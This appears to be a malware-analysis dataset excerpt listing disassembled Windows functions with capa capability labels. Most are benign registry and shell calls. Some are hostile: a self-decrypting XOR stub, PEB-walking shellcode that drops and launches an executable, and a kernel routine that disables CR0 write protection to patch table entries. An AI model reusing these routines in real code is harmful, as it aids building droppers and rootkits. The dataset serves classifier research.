joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40455b
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x407388
call fcn.00406b70
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
call fcn.004067c6
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
call fcn.00404704
mov eax, dword [ebp - 0x10]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [eax - 8], ebx
je 0x40464c
push 0x5c
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::ReverseFind
dec eax
lea ecx, [ebp - 0x10]
push eax
lea eax, [ebp + 8]
push eax
call sub.MFC42.DLL_CString::Left
push 1
push dword [ebp + 8]
push ebx
push dword [ebp - 0x10]
push ebx
push dword [esi + 0x20]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, eax
mov byte [ebp - 4], bl
cmp edi, 0x20
lea ecx, [ebp + 8]
jle 0x4045e7
call fcn.0040679c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0040679c
mov al, 1
jmp 0x4046f3
call fcn.0040679c
push 2
lea ecx, [ebp - 0x18]
call fcn.004067c6
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString_2
cmp edi, ebx
mov byte [ebp - 4], 3
je 0x404692
cmp edi, 1
jle 0x404668
cmp edi, 3
jle 0x404622
cmp edi, 8
je 0x404692
cmp edi, 0x20
jne 0x404668
lea eax, [ebp - 0x1c]
push 0x2711
push eax
lea ecx, [esi + 0xe8]
call fcn.004063d4
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call sub.MFC42.DLL_CString::operator
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1c]
jmp 0x4046ba
push 1
push ebx
push ebx
push dword [ebp + 8]
push ebx
push dword [esi + 0x20]
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, eax
cmp edi, 0x20
jle 0x4045ec
mov bl, 1
jmp 0x4046e5
lea eax, [ebp - 0x20]
push 0x2712
push eax
lea ecx, [esi + 0xe8]
call fcn.004063d4
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call sub.MFC42.DLL_CString::operator
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
jmp 0x4046ba
lea eax, [ebp - 0x24]
push 0x2720
push eax
lea ecx, [esi + 0xe8]
call fcn.004063d4
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call sub.MFC42.DLL_CString::operator
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x24]
call fcn.0040679c
push 0x30
mov ecx, esi
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call sub.MFC42.DLL_CWnd::MessageBoxA
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.0040679c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.0040679c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.0040679c
mov al, bl
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
Function at 0x404704
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x4073cb
call fcn.00406b70
sub esp, 0x1c
and dword [ebp - 0x1c], 0
push ebx
push esi
push 1
mov esi, 0x40b860
pop ebx
lea ecx, [ebp - 0x10]
push esi
mov dword [ebp - 4], ebx
call fcn.004067c6
and dword [ebp - 0x14], 0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x20]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], 0x104
call sub.MFC42.DLL_operator
push 0x40b0d8
push eax
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 3
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 5
call fcn.0040679c
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push dword [ebp - 0x18]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4047ef
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x10]
push eax
push 0x104
call sub.MFC42.DLL_CString::GetBuffer
push eax
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
je 0x4047d3
call sub.MFC42.DLL_CString::ReleaseBuffer
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
push esi
call fcn.004067c6
mov dword [ebp - 0x1c], ebx
jmp 0x4047fb
call sub.MFC42.DLL_CString::ReleaseBuffer
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call sub.MFC42.DLL_CString::CString_1
jmp 0x4047f8
mov ecx, dword [ebp + 8]
push esi
call fcn.004067c6
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.0040679c
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.0040679c
and byte [ebp - 4], 0
lea ecx, [ebp + 0xc]
call fcn.0040679c
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x404914
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, ecx
cmp dword [esi + 4], 0
jne 0x404a12
push ebx
mov ebx, str.PopUpMnu.DLL
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
call edi
test eax, eax
mov dword [esi + 4], eax
jne 0x4049f6
and byte [ebp - 0x10c], al
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareCreative_TechThemeVersion_1
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4049f6
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4049ed
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
cmp byte [ebp + eax - 0x10d], 0x5c
pop ecx
je 0x4049c0
lea eax, [ebp - 0x10c]
push 0x40b0d8
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push ebx
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x10c]
push str.PopupMnu.dll
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
call edi
mov dword [esi + 4], eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi + 4]
and dword [esi + 8], 0
pop edi
pop ebx
test eax, eax
je 0x404a12
push str.CallPopupMenu
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 8], eax
pop esi
leave
ret
Function at 0x405de5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 1
push eax
lea eax, [ebp - 4]
push eax
push 0x2015
push 0xffffffffffffffff
call dword [sym.imp.WINMM.dll_waveOutMessage]
test eax, eax
jne 0x405e47
cmp dword [ebp + 8], eax
je 0x405f14
cmp dword [ebp - 4], 0xffffffff
jne 0x405e24
push 0x40b860
jmp 0x405e3f
lea eax, [ebp - 0x70]
push 0x34
push eax
push dword [ebp - 4]
call dword [sym.imp.WINMM.dll_waveOutGetDevCapsA]
test eax, eax
jne 0x405f14
lea eax, [ebp - 0x68]
push eax
mov ecx, dword [ebp + 8]
jmp 0x405f0f
push esi
push edi
push 0xa
mov esi, str.SoftwareMicrosoftMultimediaSound_Mapper
pop ecx
lea edi, [ebp - 0x9c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.PlayBack
lea edi, [ebp - 0x1c]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 8]
movsd dword es:[edi], dword [esi]
push eax
push 1
lea eax, [ebp - 0x9c]
push 0
push eax
push 0x80000001
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405ef1
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x20
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
lea eax, [ebp - 0x1c]
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405ef5
call dword [sym.imp.WINMM.dll_waveOutGetNumDevs]
mov edi, eax
xor esi, esi
test edi, edi
jbe 0x405edf
lea eax, [ebp - 0x70]
push 0x34
push eax
push esi
call dword [sym.imp.WINMM.dll_waveOutGetDevCapsA]
test eax, eax
jne 0x405eda
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x405edf
inc esi
cmp esi, edi
jb 0x405eb7
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, edi
je 0x405ef1
mov dword [ebp - 4], esi
jmp 0x405ef5
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp + 8]
pop edi
test ecx, ecx
pop esi
je 0x405f14
cmp dword [ebp - 4], 0xffffffff
jne 0x405f0b
push 0x40b860
jmp 0x405f0f
lea eax, [ebp - 0x3c]
push eax
call sub.MFC42.DLL_CString::operator_1
mov eax, dword [ebp - 4]
leave
ret 4
Function at 0x40625d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, ecx
xor eax, eax
push edi
cmp dword [esi + 4], eax
jne 0x406366
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
mov ebx, str.ThmRes.dll
mov dword [esi + 8], eax
push ebx
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call edi
test eax, eax
mov dword [esi + 4], eax
jne 0x406333
and byte [ebp - 0x10c], al
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareCreative_TechThemeVersion_1
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406327
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40631e
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
cmp byte [ebp + eax - 0x10d], 0x5c
pop ecx
je 0x40630f
lea eax, [ebp - 0x10c]
push 0x40b0d8
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push ebx
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10c]
push eax
call edi
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
pop ebx
test eax, eax
je 0x406366
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetResource
push eax
call edi
push str.GetResourceByID
mov dword [esi + 8], eax
push dword [esi + 4]
call edi
push str.CallFunction
mov dword [esi + 0xc], eax
push dword [esi + 4]
call edi
mov dword [esi + 0x10], eax
pop edi
pop esi
leave
ret

Function at 0x406675
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, ecx
cmp dword [esi + 4], 0
jne 0x40676e
push ebx
mov ebx, str.WizCpl.DLL
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
call edi
test eax, eax
mov dword [esi + 4], eax
jne 0x406741
and byte [ebp - 0x10c], al
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareCreative_TechThemeVersion_1
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406741
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406738
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
cmp byte [ebp + eax - 0x10d], 0x5c
pop ecx
je 0x40671d
lea eax, [ebp - 0x10c]
push 0x40b0d8
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push ebx
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x10c]
pop ecx
push eax
call edi
mov dword [esi + 4], eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi + 4]
and dword [esi + 8], 0
pop edi
pop ebx
test eax, eax
je 0x40676e
push str.CallWizCPL
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [esi + 8], eax
jne 0x40676e
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [esi + 4], 0
pop esi
leave
ret
Function at 0x409769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d190
cmp edx, dword [eax]
je 0x40978b
add eax, 8
inc ecx
cmp eax, 0x40d220
jl 0x40977c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d190]
jne 0x4098b9
mov eax, dword [0x40dbb0]
cmp eax, 1
je 0x409893
test eax, eax
jne 0x4097bc
cmp dword [0x40d0e4], 1
je 0x409893
cmp edx, 0xfc
je 0x4098b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4097f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040a670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040a490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x409836
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040a490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c45c
push edi
call fcn.0040af00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040a670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040a680
lea eax, [ebp - 0xa0]
push 0x40c43c
push eax
call fcn.0040a680
push dword [esi + 0x40d194]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040a680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040ae75
add esp, 0x2c
pop edi
jmp 0x4098b9
lea eax, [ebp + 8]
lea esi, [esi + 0x40d194]
push 0
push eax
push dword [esi]
call fcn.0040a490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4037b9
Capabilities:
Encode data using xor

Disassembly:
push eax
add esi, dword [edi + 0x65]
cmp dword [ebx], ebp
cld
call 0xa20101c3
fst qword [ebx + eax*8 + 0x46]
inc esi
inc esi
arpl word [eax + 0x4c62f927], di
and dword [ebp - 0x5f32b39f], ebx
pop esp
lcall 0xd9c3, 0xa99dd6f4
scasb al, byte es:[edi]
or al, 0xe2
jo 0x40373c
push eax
cmc
and dword [edi + 0x19f1c0e9], edx
mov edx, edi
add cl, ah
or eax, 0x410b1f
push edx
jmp 0x8b910bd2
push edx
wait
outsb dx, byte [esi]
jge 0x403802
jmp 0x40374b
mov ebx, dword [ebp - 0x28]
mov eax, dword [edi - 0x2b827430]
mov ecx, ebx
sub ecx, edx
mov ecx, dword [ebp - 0x24]
sbb edx, edi
xor dword [edx + 0x51], edx
add edx, dword [eax - 0x5f]
test al, 0xad
test dword [eax], 0xe0206850
add byte [eax + 0x68], dl
and al, ah
inc eax
add bh, bh
test eax, 0x8bec4d8b
push ebp
call 0x41a2e49c
add byte [ebx + 0x4117f03d], cl
add byte [ecx - 0x743ecf3c], ah
dec ebp
loopne 0x4037e7
ror dword [ebx + 0x57c3e04d], 0xec
push edi
in al, dx
push edx
insb byte es:[edi], dx
mov eax, dword [ebp - 0x1c]
push eax
push ecx
call fcn.00403a90
push edx
mov edi, esi
fadd qword [edi + 0x4142a8e0]
add byte [edi + 0x52], dl
push ebx
push edi
push edi
push eax
push 0x40df36
jp 0x40381f
scasb al, byte es:[edi]
les esi, [eax]
push 0x40dfa4
mov ch, 0xd6
pushal
les eax, [ebx + ebp]
push esp
pop ebx
mov ch, 0x5c
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x446000
Capabilities:
Accept command line arguments
Access peb ldr_data
Get ntdll base address
Resolve function by parsing pe exports
Terminate process

Disassembly:
call 0x446005
pop ebx
sub ebx, 0x400230
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov edi, dword [edi + 0x1c]
mov edi, dword [edi]
mov edi, dword [edi + 8]
mov dword [ebx + 0x4003c2], edi
mov esi, edi
add esi, dword [esi + 0x3c]
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4003c2]
lea esi, [ebx + 0x400387]
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x446057
pop esi
mov edx, esi
pop esi
jmp 0x446068
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x446039
sub esp, 4
jmp 0x446182
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4003c2]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4003c2]
mov eax, dword [eax]
add eax, dword [ebx + 0x4003c2]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4003c2]
lea eax, [ebx + 0x400396]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4003a3]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
lea ecx, [ebx + 0x4003ac]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4003b6]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x4003ed]
push ecx
push ecx
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
call eax
lea eax, [ebx + 0x4003d5]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
push esi
call eax
lea eax, [ebx + 0x4003c6]
push eax
mov edx, dword [ebx + 0x4003c2]
push edx
call edi
sub esp, 0x44
mov edx, esp
mov esi, 0
mov ecx, 0x11
mov dword [edx], esi
add edx, 4
loop 0x446153
mov edx, 0x44
mov dword [esp], edx
sub esp, 0x10
mov edx, esp
push esp
add edx, 0x10
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
add edx, 0x44
push edx
call eax
mov esp, ebp
jmp fcn.00406c40
Function at 0x10690
Capabilities:
Find process by pid
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
call fcn.00010490
mov dword [0x13220], eax
push 0x13214
call fcn.00010db0
push eax
call sub.ntoskrnl.exe_PsLookupProcessByProcessId
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jge 0x106d5
push 0x12890
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov eax, dword [ebp - 4]
jmp 0x1083b
mov eax, dword [0x13214]
push eax
call sub.ntoskrnl.exe_KeAttachProcess
cmp dword [0x13220], 0
je 0x10779
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131e8]
mov ecx, dword [edx + eax*4]
mov dword [0x13218], ecx
mov edx, dword [0x13220]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x131ec]
mov edx, dword [eax + ecx*4]
mov dword [0x1321c], edx
mov eax, dword [0x13220]
mov ecx, dword [eax + 0x10]
mov edx, dword [0x131f0]
mov eax, dword [ecx + edx*4]
mov dword [0x13210], eax
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131f4]
mov ecx, dword [edx + eax*4]
mov dword [0x13204], ecx
mov edx, dword [0x13220]
mov eax, dword [edx + 0x10]
mov ecx, dword [0x131f8]
mov edx, dword [eax + ecx*4]
mov dword [0x13208], edx
mov eax, dword [0x13220]
mov ecx, dword [eax + 0x10]
mov edx, dword [0x131fc]
mov eax, dword [ecx + edx*4]
mov dword [0x13224], eax
jmp 0x10790
push 0x12870
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov eax, 0xc0000001
jmp 0x1083b
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131e8]
mov dword [edx + eax*4], 0x105a0
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131ec]
mov dword [edx + eax*4], 0x105e0
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131f0]
mov dword [edx + eax*4], 0x10620
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131f4]
mov dword [edx + eax*4], 0x105f0
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131f8]
mov dword [edx + eax*4], 0x105f0
mov ecx, dword [0x13220]
mov edx, dword [ecx + 0x10]
mov eax, dword [0x131fc]
mov dword [edx + eax*4], 0x10670
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
call sub.ntoskrnl.exe_KeDetachProcess
push 0x12850
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret